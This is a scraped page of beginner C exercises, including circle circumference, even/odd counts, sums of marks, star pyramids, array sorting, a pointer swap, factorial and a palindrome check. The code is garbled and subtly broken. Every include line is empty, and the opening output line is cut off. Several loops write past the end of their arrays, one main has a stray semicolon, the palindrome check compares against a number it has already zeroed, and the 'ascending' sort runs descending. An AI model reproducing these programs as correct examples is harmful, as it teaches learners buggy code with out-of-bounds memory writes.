     void display()

     {

     total=part1+part2+scores;

     put_mark();

     putdata();

     cout<<"\n  total is: "<     }

};



void main()

{

  clrscr();

  result r;

  r.getdata(31);

  r.get_mark(50,50);

  r.get_scores(50);

  r.display();

  getch();

}

Related Links :

C Assignments to find circumference of circle in C

C Assignments to find circumference of circle in C | circumference of Circle in C | Find circumference in C | C Assignment to find circumference of Circle in C

main()

{
 float r,circumference;
 clrscr();

 printf ("enter value for r");

 scanf("%f",&r);
 circumference=2*3.14*r;

 printf("  %f",circumference);

 getch();
}

Related Links :

C Program to Count of Even and Odd Numbers From given array of elements

C Program to Count of Even and Odd Numbers From given array of elements, Array Even Odd Numbers | Count Number of Even and Odd in C

#include
#include
main()
{
 int i,num[10],even=0,odd=0;
 clrscr();
 for(i=0;i<10;i++)
 {
 printf("\n enter the number");
 scanf("%d",&num[i]);
 }
 for(i=0;i<=10;i++)
 {
 if(num[i]%2==0)
 {
 printf("\n even");
 even++;
 }
 else
 {
 printf("\n odd");
 odd++;
 }}    printf("\n even no=%d",even);
       printf("\n odd no=%d",odd);
 getch();
}

Related Links :

Array Program to calculate Sum of marks in C

Array Program to calculate Sum of marks in C

#include
#include
main()
{
 int sum=0,i,m[5];
   clrscr();
 printf("\n enter marks");
 for(i=0;i<=5;i++)
 {
 scanf("%d",&m[i]);
 }
 for(i=0;i<=5;i++)
 {
 sum=sum+m[i];
 }
 printf("\n sum=%d",sum);

 getch();
}

Related Links :

C Assignment to find Enter value is number or Char, Special character Or Symbol

C Assignment to find Enter value is number or Char, Special character

#include
#include
main()
{
 char c;
 clrscr();
 printf ("    enter any character");
 scanf ("%c",&c);
 if(c>=65 && c<=90)
  printf ("   capital letter");
 else
{
 if(c>=97 && c<=122)
  printf ("   small letter");
 else
{
 if(c>=48 && c<=57)
  printf ("   digit");
 else
  printf ("  symbol");
}
}
 getch();
}

Related Links :

C Program to print pyramid of star in C

C Program to print pyramid of star in C | Pyramid of star in C | Pyramid of stars c assignment.

#include 
#include 

int main(int argc, char *argv[])
{
int r,c;
 
 for(r=0;r<=3;r++)
 {
 for(c=2;c>=r;c--)
 {
 printf(" ");
 }
 for(c=0;c<=r;c++)
 {
 printf(" *");
 }
 printf("\n");
 }
  system("PAUSE"); 
  return 0;
}

Related Links :

C Program to Print Combination of 123

C Program to Print Combination of 123, print 123 in different formats in C matrix of 123 in C .

int main(int argc, char *argv[])
{
int i,j,k;
  for(i=1;i<=3;i++)
  {
   for(j=1;j<=3;j++)
   {
   for(k=1;k<=3;k++)
    {
    if(i==j||j==k||i==k)
    {
    continue;
    }
   else
    {
    printf("\n%d%d%d",i,j,k);
    }
    }
   }

  }
  system("PAUSE"); 
  return 0;
}

Related Links :

C Program to Print Triangle of Numbers in C

C Program to Print Triangle of Numbers in C, Pyramid of Numbers in C, C Assignment to Print Numbers Triangle in C

int main(int argc, char *argv[])
{
  int r,c,p=1;
  for(r=0;r<=4;r++)
  {
  for(c=0;c<=r;c++)
  {
    printf("%d",p++);
    }
    printf("\n");
    }
 
  return 0;
}

Related Links :

C Program to find number of Even Numbers and odd numbers from given array

C Program to find number of Even Numbers and odd numbers from given array | Count Even Numbers and odd numbers from array, Count ODD numbers from Array | Count Even Numbers from array.

#include
#include
void main()
{
 int num[20],i,even=0,odd=0;
 clrscr();
 for(i=1;i<=20;i++)
 {
  printf("\n Enter 20 elements :");
  scanf("%d",&num[i]);
  if(num[i]%2==0)
   even++;
  else
  odd++;
 }
 printf("\n even values=%d",even);
 printf("\n odd values=%d",odd);
 getch();
}

Related Links :

C Program to find Sum of Even Number and Product of Odd Numbers

C Program to find Sum of Even Number and Product of Odd Numbers, From given Array Add Even Numbers & Multiply Odd Numbers in C, Add Even Numbers & Find Product of ODD Numbers in C language

#include
#include
void main();
{
 int num[10],i,sum=0;
 double product=1;
 clrscr();
 printf("\n Enter 10 elements of an array ........\n");
 for(i=0;i<10;i++)
 {
  scanf("%d",&num[i]);
  if(num[i]%2==0)
   sum=sum+num[i];
  else
   product=product*num[i];
  }
  printf("\n sum of all even numbers=%d",sum);
  printf("\n product of all odd numbers=%.2lf",product);
 getch();
}

Related Links :

C Program to sort the Array

C Program to sort the Array , sorting arrays Numbers in C, Ascending Sorting in C Array, Array Sorting in C

#include
#include
 void main()
 {
  int num[10],i,j,temp;
  clrscr();
  printf("\n Enter 10 values of an array...........\n");
  for(i=0;i<10;i++)
   scanf("%d",&num[i]);

 printf("\n array before sort .........\n");
  for(i=0;i<10;i++)
   printf("%d\t",num[i]);

 for(i=0;i<9;i++)
 {
  for(j=i+1;j<10;j++)
  {
   if(num[i]<num[j])
   {
    temp=num[i];
    num[i]=num[j];
    num[j]=temp;
   }
  }
 }

 printf("\n array after sort .........\n");
  for(i=0;i<10;i++)
   printf("%d\t",num[i]);

   getch();
  }

Related Links :

C Program to Swap values of two numbers using Pointers

C Program to Swap values of two numbers using Pointers, swapping values using pointers in C, Using Pointers Swap two Numbers in C, Printing Memory address and swap numbers using pointers.

#include
#include
void swap(int,int);
void swap1(int *,int *);
 void main()
 {
   int x,y;
   clrscr();
   printf("\n Please Enter two values :");
   scanf("%d%d",&x,&y);
   printf("\n O/P before swap pass by values.........\n");
   printf("\n x=%d\ty=%d",x,y);
   swap(x,y);       //pass by value
   printf("\n after swap by values.........\n");
   printf("\nx=%d\ty=%d",x,y);

   printf("\n before pass by address.........\n");
   printf("\n\tx=%d\ty=%d",x,y);
   swap1(&x,&y);
   printf("\n after pass by address .........\n");
   printf("\\tnx=%d\ty=%d",x,y);
   getch();
   }
 void swap(int a,int b)
 {
  int t;
  t=a;
  a=b;
  b=t;
 }
 void swap1(int *a,int *b)
 {
  int t;
  t=*a;
  *a=*b;
  *b=t;
 }

Related Links :

C Program to find SUM of Digit using Function

C Program to find SUM of Digit using Function, C Function to SUM digit, UDF for sum of digit in C

#include
#include
 void sum(int n)
{
int sum,n1;
sum=0;
for(;n>0;)
{
n1=n%10;      
sum=sum+n1;
n=n/10;    
}
printf("sum of digits=%d",sum);

}
void main()
{
int x;
clrscr();
printf("enter the value of n");
scanf("%d",&x);
 sum(x);
getch();
}

Related Links :

C Program To Find Factorial of Number and check for negative Number

C Program To Find Factorial of Number and check for negative Number, Factorial Program in C, C Assignments to find factorial of number, factorial in C

#include
#include
void main()
{
int n,num;
clrscr();
long fact=1;
printf("\n Please enter the number");
scanf("%d",&n);
num=n;
if(n<0)
printf("no factorial of negative number");
else
{
while(n>1)
{
fact*=n;
n--;
}
printf("factorial of %d=%ld",num,fact) ;
}
getch();
}

Related Links :

Program to check given Number is palindrome or Not

#include
#include
void main()
{
int rev,num,r1,r2,r3;
clrscr();
printf("/n enter values for num");
scanf("%d",&num);
r1=num%10;
num=num/10;
r2=num%10;
num=num/10;
r3=num;

rev=(r1*100)+(r2*10)+(r3*1);
if(num==rev)
{
printf("enter number is palindrome number");
}
else
{
printf("enter number is not palindrome number");
}
getch();
}

Related Links :